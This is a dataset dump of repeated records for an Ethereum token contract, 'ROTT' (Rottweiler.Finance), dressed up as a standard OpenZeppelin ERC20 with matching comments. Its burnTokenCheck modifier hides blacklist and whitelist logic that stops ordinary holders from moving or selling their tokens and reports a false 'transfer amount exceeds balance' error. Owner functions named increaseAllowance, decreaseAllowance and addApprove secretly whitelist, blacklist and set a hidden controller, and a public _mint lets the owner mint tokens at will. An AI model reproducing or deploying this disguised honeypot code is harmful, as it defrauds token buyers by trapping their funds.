require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2498,
2603
]
} | 7,002 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2661,
2785
]
} | 7,003 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2993,
3177
]
} | 7,004 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
